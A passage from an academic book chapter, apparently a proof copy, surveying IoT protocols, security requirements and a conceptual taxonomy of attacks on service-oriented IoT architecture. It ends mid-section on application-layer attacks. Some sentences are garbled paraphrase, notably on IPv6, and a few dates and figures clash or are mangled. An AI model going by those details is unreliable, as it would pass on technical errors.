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Abstract
Service-Oriented Architecture (SOA) has proven its applicability on technol-
ogies like the Internet of Things (IoT). The major benefits of SOA architecture 
are flexibility, better information flow, re-usability and scalability, which make 
it worthy to use in IoT. This concept, when adopted with generic IoT architec-
ture, creates layers that ask and deliver service to each other. Communication 
protocols play an important part here, but security always remains a major con-
cern while dealing with a huge number of heterogeneous components of IoT. 
This chapter provides a survey of enabling protocols, the taxonomy of layer-wise 
attacks and security issues of the service-oriented IoT architecture. The chapter 
also describes major vulnerabilities related to the adaption of SOA into IoT. We 
feel that this chapter can give directions to researchers for enhancing security 
and privacy in IoT.

Keywords: Internet of Things, service-oriented architecture, protocols, security, 
privacy, attacks vulnerabilities
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2 Cyber Security and Digital Forensics

1.1 Introduction and Related Work

Progression in technology like the Internet of Things (IoT) leads to use of 
intelligent devices for improvement of people’s lifestyles and optimizing the 
effectiveness of resources [1]. IoT is a technology that has evolved from 
 technologies that already exist. Wireless sensor networks (WSNs), radio fre-
quency identification (RFID), cloud computing and end-user applications 
are a few among them. These things, when being connected, must follow 
some set of predefined rules. Besides this, the diverse nature of devices both 
in terms of resources and computational power remains an issue to be 
addressed. To do so, different IoT architecture, which has many elements like 
sensors, actuators, cloud services, protocols, etc., are used in the present.

As far as IoT architecture is concerned, Service-Oriented Architecture 
(SOA) will be the future [2, 3] as reducing time and computational cost 
remains the main concerns while designing any IoT application. Various 
studies as in [4, 5] had stated the benefits of this kind of architectural tech-
nique. The functionality of service- oriented IoT architecture depends 
upon the request and delivery of services through various communication 
protocols. Nevertheless, security and privacy remain a major concern in 
any IoT Architecture [6], as billions of things (smart objects) which are 
interconnected [7], and can also exchange information, make IoT-based 
systems more vulnerable to different types of threats [8, 9].

There are a few studies that advocate the use of SOA in IoT. In [10] A.S. 
Pillai et al. developed a service-oriented architecture that provided early 
warning. This entire implementation was aided with machine learning 
(ML) algorithms that was used on a cloud server. In [11] D. Georgakopoulos 
et al. presented an idea of a future IoT that uses service discovery across 
various layers of IoT. Service-oriented architecture for home area network 
(SoHAN) is proposed in [12], V. Issarny et al. in [13] showed how the ser-
vice-oriented architecture can be utilized to address challenges for devel-
oping of distributed IoT applications. C. Cambra et al. in [14] stated the use 
of service-oriented architecture for agriculture monitoring. The authors in 
[15] used a service-oriented virtual network and designed a smart cam-
pus system. The authors in [16] suggested how different aspects of the ser-
vice-oriented approach can be used in present city infrastructure. A model 
for IoT that emphasizes explicitly the use of the service-oriented aspect is 
presented with applications [17]. The study in [18] presented a smart grid 
base on a service-oriented IoT architecture.

This chapter mainly targets researchers working in the security area of 
IoT and service-oriented IoT architecture. In our opinion, this work will 

Q1
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provide readers with a cohesive survey to keep up with the most current 
information, which does not exist in a single survey in the current litera-
ture. This work facilitates the following: 

- For the novices, they will grasp the concepts of IoT, its evo-
lution, various protocols, things (IoT devices), service-ori-
ented IoT architecture, and its major security concerns.

- This chapter is a one-stop place where targeted readers can 
find state-of-the-art material on current protocol standards 
and enabling technologies for IoT.

- We also presented a novel anatomy of attacks and dis-
cussed some of the existing mitigation methods with their 
limitations.

- This chapter will aid investigators who are working on SOA 
for IoT. Further, this work presents a well-organized sec-
tion on major security issues at each layer of this type of 
architecture. 

In the following subsections the highlights of the most successful sur-
veys are shown.

As far as protocols and security issues in IoT are concerned, there 
are many surveys exploring protocols as in [19] that cover all the major 
protocols and their application in IoT till 2012. In [20, 21] the authors 
made a survey of application layer protocols. In [22] M. Collina et al. 
explored application layer protocols for IoT. However, this work mainly 
focused on MQTT and CoAP protocols. Network layer protocols and 
6LoWPAN protocol stack and their shortfalls are explored in [23] but 
many new protocols are not a part of this work. In [24] by Jorge Granjal 
et al. the main focus is on physical and link-layer protocols, and this 
work also explores some of the existing security features of those pro-
tocols. A quite old study, from 2013 [25] is made on some standardized 
protocols at that time. In [26] the authors cover a majority of protocols 
in their work till 2017. In the same year, a good survey was done [27] by 
Pallavi Sethi et al. 

We also explored some of the latest surveys as of [28], which discusses 
only a few protocols in their work. The authors in [29] cover some protocols 
and analyze their performance in various IoT applications. Some research-
ers have also highlighted the prominent security and privacy threats in IoT 
as in [30-36]. However, literature is evident that still a lot of work can be 
done related to the study of various protocols that connect a wide range of 
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things, and security issues with the adoption of SOA with IoT. The authors 
of this article have tried to extend these studies by aggregating the study 
of protocols belonging to all these layers in one article. Moreover, very few 
of the articles in the literature have focused on attacks in these protocols. 
Considering the utility of SOA in IoT, we have attempted to make a study 
of threats and vulnerabilities at each layer on the respective architecture.  

The major and unique contribution of this chapter can be summarized 
as:

- The primary purpose of this work is to make readers familiar 
with various protocols used in service-oriented IoT archi-
tecture and major security concerns in it.

- Besides this, the work also focuses on some other major attacks 
like software attacks and attacks on devices.

- This work explores the relation between protocols concerning 
their applicability to different use cases, security features, 
and briefs about the attacks on them.

- Our work emphasises the adaption of service-oriented IoT 
architecture and tries to find out layer-wise security issues 
in it.

The rest of the chapter is arranged as follows. The second section is titled 
regarding the brief history and evolution of IoT. The same section covers an 
introduction about various real-life applications of IoT, different “Things” 
in IoT, and its fundamental security requirements and specific attacks on 
them. The third section covers the introduction of SOA and describes the 
function of each layer when SOA is adapted in IoT. Along with it, a com-
plete protocol stack with a detailed survey of all exiting protocols at each 
functional layer is made in its second subsection. In the fourth section, 
this article presents a complete taxonomy of attacks on a service-oriented 
IoT architecture. The fifth section highlights specific security issues at each 
level of service-oriented IoT architecture. This section is followed by the 
conclusion. 

1.2 IoT: Evolution, Applications and Security 
Requirements

This section describes a brief history and evolution of the IoT, followed by 
an overview of some of its real-life applications and various IoT devices 
and platforms. No doubt, security is a big concern with the IoT. So, we 
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focus on the basic security requirements of IoT and also map separate 
attacks on each specific security requirements.

1.2.1 IoT and Its Evolution

The term IoT evolved from RFID (radio-frequency identification) technology [37], 
when during World War II British researchers established “Identify Friend or Foe” 
(IFF); through which whenever a British plane received signals from British Army 
radar it would broadcast a signal back to identify the plane as a friend. From 1950 
to 1960, researchers from the United States, Europe, and Japan succeeded [38] in 
using RF energy to identify objects remotely. Soon this technology was commer-
cialized with the development of anti-theft systems. In the 1970s, the Los Alamos 
National Laboratory deployed a device for monitoring radioactive materials and 
transporting vehicles using a transponder The technology was commercialised 
in the mid-1980s. The U.S. Department of Agriculture was facing the problem 
of identifying cattle, like cows, uniquely to determine if they got the right dose 
and to ensure that no cow got a double dose by mistake.  Los Alamos National 
Laboratory solved this problem by using passive RFID with UHF radio waves tag 
[37] to uniquely identify each cow. After this, many companies [39] developed 
such a system, using smaller transponders which were encapsulated in glass and 
injected in a cow’s skin; this technology is used till date. Kevin Ashton [40] in 1999 
for the first time coined the term “Internet of Things” in the context of the smart 
transportation system, and soon the era of connecting things began. Sarma and 
Brock molded RFID into an interacting technology by connecting objects to the 
Internet through tags [39]. I-frequency transponders with cards were also used to 
implement controlled access to the building. Besides this, wireless ad-hoc and sen-
sor networks can be considered as the ancestors of IoT without IP addresses. The 
first decade of the twenty-first century was the era of microelectronics and com-
munication; WSNs and wireless Ad-hoc networks were emerging. WSNs enable 
wide support for interactions between people and their surroundings, by giving 
the freedom of wireless communication, the capability of sensing and collecting 
data from a large area. Generally, the deployment of such a network collects data 
and transfers it to the sink. The present-day definition of the IoT is “Anything”, 
“Anytime” and “Anywhere”.

1.2.2 Different Applications of IoT

The history and evolution of IoT show that, right from its beginning, this 
technology was found suitable for commercial applications. The prop-
erty to connect and interact with different things makes IoT suitable for a 
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variety of applications, which can be used to solve many real-life problems. 
A few of its real-life applications are summarized below.

• Healthcare: This application of IoT refers to the health-
care monitoring system, telehealth [41] where doctors can 
remotely monitor patients.

• Smart Home: To improve luxury and quality of life, house-
hold appliances like washing machines, toasters, coffee 
machines, ACs, TVs, refrigerators, security cameras, etc., 
can be monitored and controlled [42] using a smartphone, 
tablet, or laptop connected to the Internet.

• Wearables: These are devices that are implanted with sensors 
and actuators and can communicate [43] over technology 
like Bluetooth. They are normally worn on the wrist or con-
nected to the body with smartphones for tracking human 
activities.

• Agriculture: In order to enhance crop yields and financial 
gains, smart farming is introduced. IoT in Agriculture is 
used for [44] irrigation control, monitoring warehouse and 
farm animals.

• Smart Supply Chain Management: In order to reduce oper-
ational cost, proper management of real-time data and 
enabling multi-way and secure communication between 
suppliers of raw material, shippers, production houses and 
customer this [43] application of IoT came into the picture.

• Smart Grids: As IoT enabled the communication between 
smart meters and remote power outlet [45], which provides 
height quality of energy at the lowest cost, analysis of con-
sumption patterns and load balancing.

• Industrial Internet and Smart Manufacturing: Use of IoT in 
industry enabled better power management, optimization 
of resource [46], which helps in cost-cutting. Some applica-
tions of IoT involve use of robots to enhance accuracy and 
smart logistic management.

• Smart City: This application of IoT involves all services 
which solve problems in the sector of healthcare, water, 
energy, transport management and thus, enables smart city.

• Smart Transportation: IoT has a significant role in enabling 
fast and secure transportation by connecting transport vehi-
cles, roadside assets, traffic signals, and dynamic traffic man-
agement systems.
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• Connected Cars: Under this heading comes the application 
where a car and other vehicles are connected with each other 
and things around them to share data both inside and out-
side the vehicle, in order to enhance safety and luxury while 
travelling.

• Smart Safety: IoT applications which are used for the safety 
of women, security systems in buildings and disaster man-
agement are a few of the many uses to enhance safety.

• Environment Protection: IoT can play a vital role in envi-
ronmental monitoring, as WSNs can be used for monitoring 
air and water quality, atmospheric and soil conditions.

1.2.3 Different Things in IoT

The applications that are mentioned in the above section comprise a huge 
set of a variety of things [47]. In this section we have classified them into 
different categories; these devices are as stated below. Figure 1.1 illustrates 
different IoT devices and platforms.

- Sensors are the devices used to ‘sense’; the main task of a sen-
sor is to perceive events or variations in the physical envi-
ronment, and to guide another gadget or computer system.
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Figure 1.1 IoT devices and platforms.
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- WSNs are a group of dedicated sensors deployed over a wide 
geographical area for monitoring and recording change in 
physical conditions. They send collected data to a central 
location.

- RFID is a technology to collect data to computer systems with 
the help of Radio Frequency

- Actuators, which convert the signal to some movement like 
linear, rotational, etc., that have a desired stimulus on the 
physical world. Sensor/Actuator network (SANET) Wireless 
Sensor and Actuator Networks (WSAN) are some networks 
that can sense a change in the environment and take appro-
priate action using actuators.

- IoT Devices
• Wearables: This category involves the devices which can 

be worn on the body, and are also able to communicate.
• Embedded System: Comprises objects having sensors, 

actuators, and processors which are handled by software 
systems and APIs, which together create a connected 
environment.

• Smart Devices: Electronic devices, generally connected 
to other devices, that can function interactively and 
autonomously.

- Communicating Devices are capable of communicating with 
other devices using wired or wireless medium. Usually, they 
are rich with computing resources and enabled with tech-
nologies like GPS.

- IoT platform-as-a-service (PaaS) allows renting cloud infra-
structure suitable for various IoT applications.  

1.2.4 Security Requirements in IoT

Up till now, readers might have got a clear idea about how IoT has evolved, 
what different “things” are in IoT and what real-life applications of IoT 
are. Before focusing on security issues, let us discuss the essential security 
requirement and attacks that can be done on them. The major security 
requirement for IoT [48] are as mentioned below:

- Confidentiality: Information must not be disclosed to any 
unauthorized entity. As connected devices may transmit 
confidential data, confidentiality is of vital importance.
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- Integrity: Refers to the security of asset used in an IoT sys-
tem. Sensitive data is also stored locally on IoT devices. This 
data comprises sensitive and personal data, medical records, 
manufactures data, media decryption keys, logs, and so on 
that makes integrity a primary security requirement.

- Authorization: Determines whether a person or computer 
may access a resource or problem commands. If an unau-
thorized person does so, it may lead to malfunctioning of 
the IoT System.

- Availability: Alternatively, when an authorized entity requests 
to access any resource, it must always be accessible or else 
this may cause several problems related to functionality and 
Quality of Service.

- Authenticity: When a device asks for services to a remotely 
located server authentication becomes important. The infor-
mation coming from the source must be authenticated; this 
verification is usually done through authentication tech-
niques that involve proof of identity.

- Non-repudiation: When two IoT entities transfer message 
between them, one must not deny after sending it; this prop-
erty is usually achieved using a trusted third party.

- Accountability: Ensures that every action of each user or 
device can be looked after so that the misacting entity can be 
easily found out. In other words, it helps to look after ’who 
did what’.

- Reliability: Is the requirement that assures a consistent and 
reliable working of the IoT system so as to provide vari-
ous services. It refers to the property that guarantees stable 
behavior of IoT systems.

- Privacy: Privacy in IoT refers the control of disclosure of user’s 
private data. It is a vital property in the context of IoT.

- Physical Security: Majority of IoT devices are remotely deployed, 
so physical protection is required to save them from unautho-
rized physical access, damage and side-channel attacks.

Figure 1.2 gives a clear idea about the primary security requirements 
and the respective attacks on them. In this subsection, we do not describe 
any of the attacks in detail. However, we have mapped the respective 
attacks with each of the basic security requirements. Some of the attacks 
are described in the forthcoming part of this chapter.
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1.3 Service-Oriented IoT Architecture and IoT 
Protocol Stack

This section describes SOA and also gives a brief overview of various layers 
in generic service-oriented IoT Architecture. In the next subsection, lay-
er-wise protocol of an IoT protocol stack with a complete briefing of each 
protocol is made.

1.3.1 Service-Oriented IoT Architecture

To start with, let us understand SOA and its advantages. SOA is an archi-
tectural approach in which a service consumer asks for service that is 
provided by a service provider, and the entire communication is done via 
communication protocols. Figure 1.3 shows an idea of the same. SOA has 
many advantages like service reusability, easy maintenance, availability, 
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Figure 1.2 Security requirements and attacks in IoT.
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reliability, and scalability. These advantages make SOA best suited for an 
IoT scenario.

Connecting a huge number of things which are heterogenetic in nature, 
both in computational power and in the sense of connectivity properties, 
is a challenging task in itself. Along with it, to satisfy the requirements of 
discrete IoT applications services like data analytics, context-aware com-
puting and cloud-based service also have to be indulged in IoT architec-
ture. In order to serve all such applications, a generic service-oriented IoT 
architecture in Figure 1.4 was proposed by [49].

SOA is generally based on components that can be designed with inter-
faces and protocols [49, 50]. SOA concentrates on designing the work 
flow of respective services. This helps software and hardware devices to be 
reused in the IoT architecture [49]. SOA can be easily integrated into the 
conventional three-layer IoT architecture, where data services provided by 
the sensing and network layer and the business logic is governed by ser-
vice layer, which is also known as a middleware layer, and lastly, it has an 
interface layer which fetches and give data to the service layer. Thus, in 
SOA-based IoT architecture, there are four layers and they connect with 
each other [51].

To make SOA work, communication protocols are essential, as the pro-
tocols enable the demand and delivery of service to connect devices. SOA 
is divided into different layers, each with a specific purpose. To enable 
the working of all these layers, IoT has various protocols, designed to sat-
isfy specific purposes at each layer. A detailed protocol stack with a brief 
description of each is given in the next subsection.

1.3.2 IoT Protocol Stack

Figure 1.5 shows the IoT protocols stack comprising all the technologies 
and services which are used to connect various devices in IoT. IoT protocol 
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Figure 1.4 Service-oriented IoT architecture [49].
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stack has various protocols at different layers of operation. To make the 
study easy we have studied layer-wise protocols that are as listed below.

1.3.2.1 Application Layer Protocols

IoT application developers have a very large set of the protocols [53] avail-
able at the applications layer, which comes from the traditional Internet 
and those built specifically for supporting IoT applications.

Hypertext Transfer Protocol (HTTP) is an application-layer web-based 
protocol which was developed in 1989 by Internet Engineering Task Force 
(IETF). 

Representational State Transfer (HTTP REST) is popular because of its 
simplicity in use as it is built on top of HTTP [54, 55]. Its state transfuse 
property is useful in IoT as actuators can send a message on state transfuse.

WebSocket was standardized by the IETF as of 2011. More generally it 
is used for message exchange between Application and Transport Layer. It 
is mainly a computer communication protocol that provides bidirectional 
communication over a single TCP connection [56].

Simple Text Oriented Messaging Protocol (STOMP) is a text-orientated 
messaging protocol. STOMP was released in 2012 [57]. STOMP delimits 
the interoperability issue among languages, platforms and brokers.

Simple Object Access Protocol (SOAP) is a message protocol built on 
XML and used for information exchange among computers and was 
released in 1998. It is an application based on XML specification [51] and 
can extend HTTP for XML messaging. SOAP is a protocol for communi-
cating through the Internet. SOAP can be used to send a message which is 
independent of the platform and language.

Extensible Messaging and Presence Protocol (XMPP) is an instantaneous 
messaging protocol also called as Jabber on XML streaming protocols [51]. 
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XMPP is an abstraction XML protocol, which makes it extensible, and pos-
sesses several security capabilities. Its highlighting features include multi-
party chatting, speech, video and file transmission.

Constrained Application Protocol (CoAP) is a messaging protocol 
released in June 2014, which is based on REST (REpresentational State 
Transfer) architecture [58]. CoAP is a protocol for web transfer, particu-
larly useful for resource-constrained IoT devices. It is secured and can even 
work when TCP fails to work [59].

Advanced Message Queuing Protocol (AMQP) AMQP is an open stan-
dard message queuing protocol released in October 2011. It is used to pro-
vide  messaging service for business applications [51]. AMQP is designed 
to solve real problems [60]. 

Message Queue Telemetry Transport (MQTT) is ISO standard lightweight 
publish-subscribe architecture that transports messages between devices 
[61]. It is a messaging protocol for collecting measured information from 
distant sensors and transmitting information to servers. MQTT protocol 
requires two components – message broker and clients.

Data Distribution Service (DDS) is an application layer publish-sub-
scribe model-based protocol for supporting machine-to-machine com-
munications [62]. This protocol provides reliable, fast, real-time, scalable 
data exchanges.

Table 1.1 gives a description of several main features of the application 
layer protocols.

1.3.2.2 Transport Layer Protocols 

The main task of protocols in this layer is to provide a host-to-host com-
munication. We have discussed here different protocols with their promi-
nent features.

User Datagram Protocol (UDP) is a transport layer protocol designed in 
1980 by David P. Reed (RFC 768). It uses datagrams to send a message over 
an Internet Protocol network. UDP [63] is a connectionless protocol with 
minimum header size, and no handshaking is required before sending 
the message. UDP is lightweight and mostly preferred for IoT application 
faster communication.

Quick UDP Internet Connection (QUIC) emerged as an experimental 
general-purpose transport layer protocol [65]. However, it was publicly 
announced by IETF in 2013. It is equivalent to TCP but has less latency. It 
is implemented at the top of UDP and does not suffer from limitation like 
data loss. QUIC can be deployed with HTTP/2’s multiplexed connections. 
This enables several data sources to reach all endpoints independently.
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Table 1.1 Summary of application layer protocols.

Protocols

Released / 
Invented 
by

Release 
year Key features Architecture Security

HTTP IETF 1989 Collaborative, 
Distributed and 
Hypermedia 
Information 
Systems

Request / 
Response

HTTPS

HTTP 
REST

Roy 
Fielding

2000 Actuators Can Send 
Message on State 
Transfuse.

Request / 
Response

HTTPS

WebSocket IETF 2011 Provides Full-duplex 
Communication 
Channels

Client / 
Server

HTTPS

STOMP IETF 2012 Overcomes Problem 
of Interoperability

Publish / 
Subscribe

HTTPS

SOAP IETF 1999 Provides Platform 
In-dependency

Client / 
Server

HTTPS

XMPP IETF 2011 Supports 
Bidirectional 
Communication 
Between two 
Parties

Publish / 
Subscribe

TLS/ 
SSL

CoAP IETF 2014 Enables Push 
Notifications, 
Group 
communications 
and RESTful 
Interactions

Client / 
Server

TLS/ 
SSL

AMQP OASIS 2011 Robust Interaction 
with middle-ware 
Messages,

Publish / 
Subscribe

DTLS

MQTT OASIS 2013 Collects Information 
from Distant 
Sensors and 
Transmitting to 
Servers

Request / 
Response

TLS/ 
SSL

DDS OMG 2001 High performance 
for real-time 
M2M devices

Publish / 
Subscribe

TLS/ 
SSL
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Resource Reservation Protocol (RSVP) a transport layer [66] protocol 
operates over internet protocol version IPv4 or IPv6. It is designed for mul-
ticast or unicast data flow. RSVP provides Quality of Service (QoS) using 
the cohesive services model.

Stream Control Transmission Protocol (SCTP) exhibits characteristics of 
both UDP with sequencing [67], acknowledgement generation and secure 
message communication along with congestion controlling mechanism [68].

Datagram Congestion Control Protocol (DCCP) is a transmission layer- 
oriented message protocol. This protocol provides reliable, secure, congestion- 
free communication suitable for streaming media IoT applications [69, 70].

Transmission Control Protocol (TCP) exchanges messages with reliable 
service and error detection with correction techniques to assure error-free 
communication [64]. Major Internet applications depend on TCP. But, the 
use of TCP in an IoT scenario is limited due to larger header length.

Table 1.2 has a summary of all these protocols and their features.

1.3.2.3 Network Layer Protocols 

Network layer has two major tasks to perform: Encapsulation and Routing. 
Each is briefly described below.

(a) Encapsulation
 Internet Protocol version 4 (IPv4) is the fourth version of 

Internet Protocol which was initiated in 1980 by IETF [71], 
which is widely used in an Internet application. However, 
the first version of this protocol was ARPANET, which was 

Table 1.2 Summary of transport layer protocols and features.

Protocol

Connection 
establish-
ment

Congestion 
control Fragmentation

Rate 
control

Return 
route 
check

UDP No No No No No

QUIC Yes Yes Yes Yes No

RSVP No No Yes No No

SCTP No Yes Yes Yes No

DCCP Yes Yes Yes Yes No

TCP Yes Yes Yes Yes Yes

PROOF



16 Cyber Security and Digital Forensics

deployed in 1983. IPv4 uses 4 bytes (32-bits) addressing, that 
provides 232 addresses and has 20 bytes packet size. But, 
IPv4 has limitations regarding use in IoT as the devices that 
will be connected are much more in number than the capac-
ity of IPv4.  

 Internet Protocol version 6 (IPv6) IPv6 [72] is planned 
to replace IPv4. It is a web layer convention for packet 
exchanged and gave a start to datagram transmission across 
different IP networks. IPv6 utilizes 128 bits tending to and 40 
octets to the Payload Length. This conquers the difficult shot 
location yet increments the payload size. Thinking about the 
size of the network, among IPv4 and IPv6 selection of IPv6 
is evident for IoT environment [73].

 6LowPAN was introduced so that IPv6 packets can be transmit-
ted over IEEE 802.15.4 network [74]. In 2016, IETF launched 
6Lo [75] in order to use IPv6 with a network of resource-con-
strained nodes. This protocol stack is considered to be well 
adapted for applications such as Bluetooth, IEEE 1901.2 and 
IEEE 802.11ah. Adoption of IPv6 over Time Slotted Channel 
Hopping (TSCH) makes 6TiSCH a key technology. 6TiSCH is 
found suitable for  industrial purposes [76].

(b) Routing
 Routing Protocol for Low-Power and Lossy Networks (RPL) is 

a routing protocol for WSNs with low power released in 2011 
and updated in 2013. It is a proactive vector-based protocol 
works on IEEE 802.15.4 [77]. It has optimized behavior for 
multi-hop network and many-to-one system, but also pro-
motes an end-to-end communication. RPL was designed for 
static sensor networks. Further, CORPL is an extension of 
the cognitive network based on RPL protocol, [78]. CORPL 
utilizes topology from DODAG, which utilizes opportunis-
tic forwarding between nodes of the packet. 

1.3.2.4 Link Layer and Physical Layer Protocols 

This subsection gives a brief overview of various protocols and standards 
that are used to connect the end devices. As per the utility and range of 
protocols, we have summarized them as long-range and short-range proto-
cols. But, taking SOA under consideration, one must know the best-suited 
protocol. So, to give readers a clear idea about that, protocols are catego-
rized as below.
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• Wireless Body Area Network (WBAN)

Radio Frequency IDentification (RFID) was invented in 1983. But it became 
a crucial component of the IoT when in 1999 Kevin Ashton understood its 
potential. Low price and vitality of its use made RFID a promising technol-
ogy for [79] various IoT applications.

Near Field Communication (NFC) is a technology-based on RFID [80] 
and it’s important for IoT. This technology enabled one-to-one communi-
cation for very short range.

Insteon released in 2005 by Smartlab [81] is a proprietary protocol 
mainly used for home automation and supports a dual mesh topology. It is 
capable of using radiofrequency and electrical wiring.

• Wireless Personal Area Network / Personal Area Network (WPAN / PAN)

Bluetooth: Nils Rydbeck initiated Bluetooth in 1989. The main features of 
Bluetooth [82] are, it uses short-wavelength from 2.400 to 2.485 GHz and 
is used to connect both fixed and mobile distance up to a significant range 
of distance.

• Wireless Home Area Network (WHAN)

Bluetooth Low Energy (BLE) [83], also called as Bluetooth Smart, is designed 
for application with low power and needs to be connected within a small 
range. The low energy feature of BLE makes it more suitable for IoT devices.

MiWi is a networking protocol stack created by Microchip Technology 
Inc. [84]. This protocol stack was introduced to address the problem of 
high memory footprint; MiWi stack came into the picture [85].

Z-Wave protocol was developed by Zensys, in 1999 and is mainly used 
in [86] home monitoring IoT applications. Compare to Zigbee, Z-wave is 
simple to implement so many product manufacturers use it in their prod-
ucts which need low energy and reliability.

ANT/ANT+ is a proprietary protocol primarily architecture for remote 
monitoring applications [87]. It has the physical, data link, and network 
layers. At the same time, the application layer is managed by Ant+, which 
is an extension that regulates communication between different devices.

• Wireless Factory Area Network (WFAN)

WirelessHART was initiated in early 2004. It is an open standard protocol 
stack having four layers. This protocol is one of the standards and promi-
nent protocols for industrial automation system.
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Weightless was released in 2012. Weightless is an open standard for 
 wireless technology mainly build for exchanging data among the base sta-
tion and end nodes. It has a significant level of security [88].

DigiMesh is a proprietary technology that follows the IEEE 802.15.4 
standard. In Digimesh network, all devices are kept similar, and so they 
can function as end-device, router or coordinator [89, 90].

EnOcean enables M2M communication and mainly used for home and 
building automation purposes. In order to serve battery-free devices, this 
protocol is to be kept lightweight.

• Wireless Local Area Network (WLAN)

The WLAN network links two or more wireless devices to establish a local 
area network (LAN) in a restricted zone. This allows users to move around 
within the region while still connecting to the network.

• Wireless Neighborhood Area Network (WNAN)

WiMax came into existence in 2005 and belonged to the class of wireless 
broadband communication standards. MiMax is constructed over the 
IEEE 802.16 standards.

Wi-Sun: Wi-Sun Alliance promoted this protocol to provide a secure, 
optimized mesh network. Wi-Sun promoted the adaption of this protocol to 
become an open industry standard for smart utility and smart city applications.

ZigBee is a standard protocol [91] built by adapting IEEE 802.15.14 
physical and data link layers. There are three variants: ZigBee PRO, ZigBee 
RF4CE, and ZigBee IP to serve different networking requirements. This 
protocol was specifically intended for short-term communication and low-
power devices. It supports mesh, star and tree topologies with up to 65,000 
end devices.

• Wireless Wide Area Network (WWAN)

When a very long range of communication is required, these set of proto-
cols are required. WWAN comes with both licensed and unlicensed net-
work protocols.

(i) Low Power Wireless Wide Area Network (LPWAN) – Unlicensed
 LoRaWAN initiated in 2015, and defined by the LoRa 

Alliance which are protocols intended for wireless and 
 battery-operated devices. This is a MAC protocol for Wide 
Area Network. Long Range Wide Area Network (LoRaWAN)
operates on the third and second layer of the OSI model [92].
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 Sigfox was initiated in 2009 by the French global network. 
This protocol has a wide range of coverage but works well 
with simple devices that transmit less frequently and usually 
sends a few amounts of data. But the main feature of Sigfox 
[93] is that it can be deployed anywhere, so it can be used 
with a variety of use cases.

 DASH7 is open-source developed from 2013 to 2015. It 
operates between 315 MHz and 915 MHz. DASH7 performs 
well at connecting mobile things, unlike other wireless data 
protocols which operated well with the fixed device.

(ii) Low Power Wireless Wide Area Network (LPWAN) – Licensed
 Narrow Band-IoT is a standard developed by 3GPP in June 

2016. This protocol has empowered a diverse variety of cel-
lular devices [94].

(iii) Cellular Licensed
 LTE-Machine Type Communication (LTE-MTC) is a stan-

dards family introduced in 2018 by 3GPP which comprises 
several other technologies like Cat-1 and CatM1, suitable for 
the IoT [94].

 Extended Coverage-GSM-IoT (EC-GSM-IoT) was introduced 
in 2016 for enhancing the capabilities of present cellular net-
works for IoT usages [94].

 The summary of these protocols is done as short-range pro-
tocols in Table 1.3 and long-range protocols in Table 1.4.

All these protocols that are discussed contribute to IoT and are best 
suited for various purposes. To make a proper IoT architecture it is import-
ant to choose a proper technology that can support the architectural 
requirement, optimize available resources, and can be securely integrated 
with other services.

As IoT is a gradually evolving from the existing Internet, the proto-
col stack has many protocols that are already being used while others are 
developed exclusively for IoT. In order to support security of constrained 
nodes and satisfy the variety of requirements which are not same for all IoT 
application, selection of protocol at each layer becomes crucial.

But, all these protocols have security issues that need to be taken care 
of. A protocol is a set of rules that governs communication; these sets 
of rules may have some issues that make every protocol vulnerable to 
many attacks. The listing of attacks [95-102] on each protocol of every 
layer is made in the forthcoming section.
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1.4 Anatomy of Attacks on Service-Oriented IoT 
Architecture

IoT architecture comprises different layers, and each individual layer has a 
specific task. When SOA is taken into consideration, communication pro-
tocols and other services play a vital role. The previous section has given a 
brief overview of the protocol stack used in IoT. To get a better idea about 
security issues and research challenges, let us look at the anatomy of attacks 
on service-oriented IoT architecture.

Attacks on service-oriented IoT architecture can be categorized into 
three major classes [103]: software attacks, attacks on devices, and com-
munication protocols. Software and services play a very significant role 
in the application and interface layer of service-oriented IoT architecture.

1.4.1 Attacks on Software Service

Figure 1.6 gives a detailed idea of various types of software attacks.

1.4.1.1 Operating System–Level Attacks

Phishing Attack: This is a common attack in which an assailant aims to get 
passwords, One Time Password (OTP), Personal Identification Number 
(PIN) and other sensitive data via emails, social engineering, etc. [104].

Backdoors Attack: With the development of IoT, many operating sys-
tems are coming into the picture, and such operating systems may contain 
some backdoor vulnerabilities [105] that may cause a threat to sensitive 
data. Lack of proper update mechanisms give a space for viruses and 
worms like mirai, stuxnet and brickerbot to attack IoT objects.

Software
Attacks

Operating System Applications Firmware

Viruses, Worms, Trojan Horse

Brute Force Search
Back Door Attack

SQL Injection
Code injection
Reprogramming Attack
Cross Site Scripting
Malware Attack
D/DoS
Exploitation of Miscon�guration

Control Hijacking
Eavesdropping
Revese Engineering
Malware Attacks
Maliciously Crafted Input

Figure 1.6 Attacks on software services.
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Brute Force Attack: This attack aims to break security implemented by 
cryptography and harms data confidentiality. Mitigation techniques for 
such kind of attacks entirely depend on OS level security [104]. The use of 
anti-virus software, intrusion detection systems, storing encrypted pass-
words, implementation of architectural security, etc., can provide defence 
against this attack.

1.4.1.2 Application-Level Attacks

Attack through Misconfiguration: IoT is dependent on elements such as 
operating systems, repositories and servers, misconfiguration of which 
causes threats to security [106].

Malicious Code Injection: Malicious software code inserted into certain 
packets for the stealing or manipulation of confidential data [107]. Path-
based DoS is also a type of attack where malicious code is injected into 
some network packets.

Reprogramming: As the devices are connected through a network, 
hackers may reprogram the connected devices to do unwanted tasks.

Malware Attack: Is done through the malicious programs [107] that are 
specially designed to attack IoT Applications.

Botnet: Is the main technique to mount D/DoS attack. These kinds of 
attacks can be mitigated using securing bootstrapping algorithms and 
other techniques [102, 106].

1.4.1.3 Firmware-Level Attacks

IoT systems lacking in design principles and lacking standard Firmware 
updating leads to Firmware Attacks [100] as follows:

Control Hijacking: When an attacker can change an object's normal 
flow by injecting malicious code, it is called a control hijacking attack.

Reverse Engineering: This is an active attack which aims to get sensitive 
data by analyzing firmware [99].

Eavesdropping: Is a passive attack where attacks aim to get packets less 
protected and use these packets to create replay attacks.

Malware Attack: Is done through the malicious programs that are 
specially designed to attack IoT Applications. Several malware attacks 
[101] are found in firmware like BASHLITE, Hydra, and Darlloz.
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1.4.2 Attacks on Devices

Physical Attacks: Here, the attacker tampers the IoT Devices [100]. 
Practically performing this kind of attack is more challenging, as it 
requires a set of expensive tools. De-packaging chip in order to steal keys, 
micro-probing and practical beaming are some examples of physical 
attacks.

Side-channel Attack: Is a security exploit that gathers data about a com-
puter device while performing cryptographic activities [102]. Further, this 
technique uses the obtained data to reverse engineer the device’s cryptog-
raphy scheme.

1.4.3 Attacks on Communication Protocols

In this section, we have classified attacks on each layer of IoT protocol 
stack, as explained in the previous section. Some of the common attacks on 
communication protocol are discussed below.

1.4.3.1 Attacks on Application Layer Protocols 

Following are some attacks on application layer protocol. All the different 
protocols and respective attacks on them are shown in Figure 1.7.

Man In The Middle (MITM): Is an attack in which the attacker secretly 
replies and modifies communication packets.

